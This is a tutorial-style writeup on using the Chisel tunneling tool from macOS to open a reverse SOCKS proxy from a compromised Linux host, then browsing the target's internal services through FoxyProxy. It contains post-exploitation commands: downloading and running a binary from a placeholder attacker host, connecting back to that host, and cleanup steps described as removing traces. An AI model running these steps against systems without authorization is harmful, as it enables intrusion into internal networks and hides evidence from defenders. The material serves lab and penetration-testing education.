← Back to Writeups

Tunneling into Linux with Chisel on macOS (SOCKS + FoxyProxy)

For authorized or educational use only. Only tunnel into systems you own or have explicit permission to access.

When you land a shell on a Linux box and discover interesting services bound to 127.0.0.1, you can’t just open them in your browser — they’re only listening on the target’s loopback. That’s where Chisel comes in: a fast TCP/UDP tunnel over HTTP that can expose a SOCKS proxy on your attack machine, so your browser (via FoxyProxy) can reach those internal services as if you were sitting on the box.

I run this from an M4 Pro MacBook against Linux targets. Apple Silicon matters for which binary you install on macOS; the target still needs a Linux build.


What is Chisel?

Chisel is a lightweight tunneling tool written in Go. It creates a TCP (and optionally UDP) tunnel between two machines, wrapped in HTTP, which makes it useful when you need a reliable reverse connection from a compromised host back to your attack machine.

In offensive and lab work, the common pattern is:

  1. Your machine runs chisel server (often with --reverse so the client can open ports back onto the server).
  2. The target runs chisel client and connects out to you.
  3. You ask the client for a reverse SOCKS tunnel (R:socks), which spins up a SOCKS5 listener on your machine (default 127.0.0.1:1080).
  4. Your browser (or any SOCKS-aware tool) sends traffic through that proxy; Chisel forwards it through the tunnel and out from the target’s network perspective.

That’s the whole point: services that only exist on the target’s localhost (or only on its internal network) become reachable from your Mac.

Chisel is not a VPN. It’s a tunnel + optional SOCKS proxy. Keep that mental model — it makes debugging much easier when something doesn’t connect.


How does Chisel work on macOS?

On macOS you almost always want Chisel on the attacker side as the server. The Linux target runs the client.

Install on Apple Silicon (recommended)

Homebrew’s formula is the cleanest path on Apple Silicon — you get a native darwin_arm64 binary and a chisel command on your PATH:

brew install chisel
chisel --version

Install from GitHub releases (manual)

If you prefer a pinned release binary:

  1. Open the Chisel releases page.
  2. Download the darwin_arm64 build for Apple Silicon (or darwin_amd64 for Intel Macs).
  3. Unpack it, make it executable, and move it somewhere on your PATH:
chmod +x chisel
sudo mv chisel /usr/local/bin/chisel

What you still need for the Linux target

Your Mac binary will not run on a typical Linux HTB/lab box. Download a matching Linux build separately — most lab targets are linux_amd64:

# example: grab linux_amd64 from releases, rename for easy transfer
mv chisel_1.x.x_linux_amd64 chisel-linux

You’ll copy that file to the target later (HTTP server, scp, existing foothold download, etc.).

Roles on macOS vs Linux

RoleMachineTypical command
Server (reverse-capable)Your Macchisel server --reverse -p 8000
Client (connects out)Linux target./chisel client <YOUR_IP>:8000 R:socks

Why reverse? Because the target can usually make outbound connections to you, while you often can’t open inbound ports on the target’s firewall/NAT. With --reverse, the client is allowed to request that the server open a local SOCKS listener and send traffic back through the established tunnel.

Verifying the server (fingerprint pinning)

When chisel server starts, it prints a line you’ve probably scrolled past a hundred times — including in the Quick Reference below, where I show the bare startup command and never mention what comes next:

server: Fingerprint LQY2yVVEgYSsd2MsoQdAy6js26WpvI809Imv5xULCds=

That fingerprint is derived from the server’s key pair. It’s how a client can confirm it’s talking to your Chisel server and not something sitting in the middle of the path, presenting a lookalike listener on the same host:port.

Chisel’s own docs are blunt about the mechanism: the client’s --fingerprint flag performs host-key validation against the server’s public key, and a mismatch closes the connection. That’s Chisel’s built-in MITM protection — and it’s opt-in. Without the flag, the client will happily connect to whoever answers.

In a single-session HTB box against a target I already control, I usually skip it. The tunnel lives for an hour, the path is my VPN to a lab I own both ends of, and nobody’s actively trying to intercept that traffic. Pretending I always pin fingerprints in that setting would be dishonest — the value is low, and the muscle memory of copying a base64 blob every time doesn’t pay for itself on disposable boxes.

It stops being optional the moment you’re outside that bubble: engagement work on a client network, anything crossing infrastructure you don’t fully control, or a tunnel that stays up longer than a single session. In those cases, copy the fingerprint from the server’s startup output and pass it on the client:

./chisel client --fingerprint 'LQY2yVVEgYSsd2MsoQdAy6js26WpvI809Imv5xULCds=' <ATTACKER_IP>:8000 R:socks

If the fingerprint doesn’t match, the client won’t connect — which is the whole point. If you’re troubleshooting a “client won’t stay connected” failure and you’ve already ruled out reachability and --reverse, come back here: a wrong or stale --fingerprint value fails closed on purpose.


Network requirements for the tunnel

For a reverse Chisel tunnel between two Linux hosts, or between macOS (server) and Linux (client), these conditions need to be true:

1. Outbound connectivity from client → server

The target must be able to reach your attack machine on the Chisel listen port (example: TCP 8000).

  • Same LAN / VPN / lab network: use your Mac’s LAN IP.
  • HTB / CTF style: use your VPN interface IP (often something like tun0 / OpenVPN / WireGuard address), not your home Wi‑Fi IP.
  • Corporate NAT: your Mac must be reachable somehow (port forward, VPN, cloud VPS, etc.).

Quick check from the target (once you have a shell):

# does the target even see your host:port?
curl -v --connect-timeout 5 http://<ATTACKER_IP>:8000/ || nc -vz <ATTACKER_IP> 8000

2. Your Mac must listen and accept inbound on that port

chisel server -p 8000 binds on your Mac. Local firewalls (macOS Application Firewall, Little Snitch, corporate EDR) must allow inbound TCP on that port from the target’s path.

If you’re on a restrictive network where inbound is blocked, put the Chisel server on a VPS you control and point both sides at that, or use another pivot — Chisel can’t invent a path that the network won’t allow.

3. Matching transport expectations

Chisel speaks over HTTP by default. You don’t need a real web server in front of it for a basic lab tunnel; the Chisel server is the listener. Optional TLS/--auth exist for harder environments, but the minimal working path is plaintext HTTP Chisel on a dedicated high port.

4. SOCKS only helps after the tunnel is up

FoxyProxy and browser config do nothing until:

  • the server is running with --reverse
  • the client has connected successfully
  • R:socks has created the local SOCKS5 port (default 1080 on the server)

5. Same requirements, Mac ↔ Mac or Linux ↔ Linux

The OS of each side only changes which binary you run. The network rules are identical:

  • Client must dial server IP:port
  • Server must accept that connection
  • Reverse mode if you need the SOCKS listener on the server side

SOCKS proxy: what Chisel actually gives you

A SOCKS (Socket Secure) proxy is an application-layer proxy. Instead of your browser connecting directly to http://127.0.0.1:5001 on your Mac, it sends the request to a SOCKS proxy and says “please connect to host X port Y for me.”

With Chisel’s reverse SOCKS:

  • The SOCKS listener lives on your Mac (127.0.0.1:1080 by default).
  • The exit of that traffic is the Linux target.
  • So when FoxyProxy asks for http://127.0.0.1:5001, that 127.0.0.1 is the target’s loopback, not your Mac’s.

That’s why this pattern is so useful after foothold: internal admin UIs, databases with web consoles, MLflow, etc. that only bind to localhost suddenly become clickable.

Other tools can use the same proxy without a browser:

# example: curl through the SOCKS5 proxy Chisel created
curl --socks5-hostname 127.0.0.1:1080 http://127.0.0.1:5001/

--socks5-hostname matters when DNS should also go through the proxy path (useful for internal hostnames).


Step-by-step: establish the reverse SOCKS tunnel

Assumptions for this walkthrough:

  • Attacker: macOS (Apple Silicon), IP <ATTACKER_IP>
  • Target: Linux with a shell you control
  • Chisel server port: 8000
  • SOCKS port on Mac: 1080 (Chisel default for R:socks)

Step 1 — Install Chisel on your Mac

brew install chisel

Step 2 — Get a Linux Chisel binary ready to transfer

Download linux_amd64 from releases and keep it in a folder you’ll serve:

mkdir -p ~/Transfers/chisel
# place the linux binary there as "chisel"
chmod +x ~/Transfers/chisel/chisel

Step 3 — Start the Chisel server (reverse mode)

In one terminal on your Mac:

chisel server --reverse -p 8000

Leave this running. You should see it listening. --reverse is required for R:socks from the client.

Step 4 — (Optional but common) Serve the Linux binary over HTTP

In a second terminal, from the folder that contains the Linux chisel binary:

cd ~/Transfers/chisel
sudo python3 -m http.server 80

Using port 80 is convenient when the target can wget/curl without weird port syntax. If you can’t bind 80, use something like 8001 and adjust the download URL.

Step 5 — On the target: download, chmod, connect

wget http://<ATTACKER_IP>/chisel -O /tmp/chisel
chmod +x /tmp/chisel
/tmp/chisel client <ATTACKER_IP>:8000 R:socks &

What R:socks means:

  • R: = reverse remote (ask the server to open something locally)
  • socks = open a SOCKS5 proxy on the server (your Mac), default port 1080

If the connection works, your Mac’s Chisel server log should show the client session, and you should now have SOCKS listening locally:

# on your Mac
lsof -nP -iTCP:1080 -sTCP:LISTEN

Step 6 — Sanity-check the proxy before involving a browser

curl --socks5-hostname 127.0.0.1:1080 http://127.0.0.1:5001/

Replace 5001 with whatever internal port you care about. If this returns HTML or an app response, the tunnel is good — any remaining “browser won’t load it” issues are proxy config, not Chisel.

Common failures

SymptomLikely cause
Client hangs / can’t connectTarget can’t reach <ATTACKER_IP>:8000 (wrong IP, VPN down, firewall)
Client connects but no SOCKSForgot --reverse on the server, or didn’t pass R:socks
SOCKS up, browser still failsFoxyProxy not pointing at 127.0.0.1:1080, or pattern not matching
Works in curl, not browserExtension disabled / wrong profile / HTTPS intercept oddities
Client drops immediately with fingerprint setMismatch against the server’s key — see Verifying the server; without --fingerprint you won’t notice if you connected to the wrong listener

What is FoxyProxy and how to use it

FoxyProxy is a browser extension (Firefox and Chrome/Chromium variants) that lets you route browser traffic through proxies — including SOCKS5 — without changing system-wide network settings. For Chisel labs, it’s the usual way to say: “send this browsing through the tunnel, leave the rest alone.”

Install

  1. Open Firefox (preferred for a lot of HTB-style workflows) or Chrome.
  2. Install FoxyProxy from the official extension store / getfoxyproxy.org.
  3. Pin the extension so you can switch modes quickly.

Create a proxy profile for Chisel

  1. Open FoxyProxy options → Add / Add New Proxy.
  2. Set:
    • Title: something obvious, e.g. Chisel SOCKS
    • Proxy Type: SOCKS5
    • Proxy IP address: 127.0.0.1
    • Port: 1080
  3. Save.

You do not put the target’s IP in FoxyProxy. FoxyProxy talks to the local SOCKS listener; Chisel handles the rest.

Choose how traffic is routed

FoxyProxy typically offers modes like:

  • Disabled / Turn Off — normal direct browsing
  • Use proxy this URL / patterns — only matching sites go through SOCKS (cleanest for daily use)
  • Use proxy for all URLs — everything goes through the tunnel (simple for short lab sessions; easy to confuse yourself)

For internal services on the target’s loopback, “all URLs” while you’re actively pivoting is often enough. For longer sessions, add URL patterns for the hosts you care about (e.g. http://127.0.0.1:*, specific internal hostnames).

Browse the internal service

  1. Confirm Chisel SOCKS is listening (lsof / server logs).
  2. Enable your Chisel SOCKS profile in FoxyProxy.
  3. In the browser, open the internal URL as seen from the target, for example:
http://127.0.0.1:5001

If the app redirects to a hostname, add that name to /etc/hosts on your Mac pointing at 127.0.0.1 only if you’re forwarding that hostname through the same SOCKS path carefully — or browse by IP/port if the app allows it. Hostname quirks are a frequent “tunnel works, page doesn’t” footgun.

Turn it off when you’re done

Disable FoxyProxy (or switch back to direct) when you finish. Otherwise random tabs will keep trying to egress through a dead SOCKS port and look like “the internet is broken.”


Cleanup and OPSEC

FoxyProxy is only the browser half of the teardown. The tunnel and the files you dropped on the target need the same treatment — otherwise you leave artifacts behind and confuse yourself the next time you need a live tunnel.

Target-side binary

You wget’d Chisel to /tmp/chisel and never cleaned it up. Leaving an unexplained binary on a system you had temporary access to is bad practice even in a lab, and on an actual engagement it’s a finding waiting to happen — or worse, evidence you were there that you didn’t mean to leave. Before you drop the shell:

rm -f /tmp/chisel

That matters more the closer this guide gets used outside a disposable HTB box. /tmp isn’t a free pass; persistence across reboots varies, but forensic timelines and another operator’s triage don’t care that “it was just a lab tool.”

Client process

/tmp/chisel client ... & was backgrounded, so killing the shell doesn’t necessarily kill the tunnel. If it’s still job 1 in that session, kill %1 is enough. If you’ve run other commands since and lost track of the job number:

pkill -f "chisel client"

A live client process is both an artifact on the target and an ongoing connection back to your machine that outlives the reason you needed it. Tear it down when you’re done pivoting, not when you remember three hours later.

Server side (your Mac)

Shut down your own chisel server process (Ctrl-C in that terminal, or kill the PID). If you spun up python3 -m http.server to serve the Linux binary, stop that too. Partly hygiene — partly because an open listener on your attack machine is its own small exposure, and a forgotten HTTP server on port 80 is an embarrassing way to leak whatever else was in that transfer folder.

Same principle as FoxyProxy

You already have the instinct for the browser layer: disable the proxy or random tabs keep trying to egress through a dead SOCKS port. This is the same principle one layer down. Tunnel first, proxy config second — both need to come down together. Leave the SOCKS listener dead but FoxyProxy on, and you get confusing failures next time you actually need a live tunnel. Leave the tunnel up but FoxyProxy off, and you’ve got an open pivot you forgot about. Tear both down when the work is done.


Quick reference

# Mac — server
chisel server --reverse -p 8000

# Target — client (reverse SOCKS on Mac :1080)
./chisel client <ATTACKER_IP>:8000 R:socks

# Mac — test without browser
curl --socks5-hostname 127.0.0.1:1080 http://127.0.0.1:<INTERNAL_PORT>/

FoxyProxy: SOCKS5 → 127.0.0.1:1080 → browse http://127.0.0.1:<INTERNAL_PORT>/.

That’s the full loop: Chisel moves the packets, SOCKS is the API your tools speak, FoxyProxy is how the browser joins in.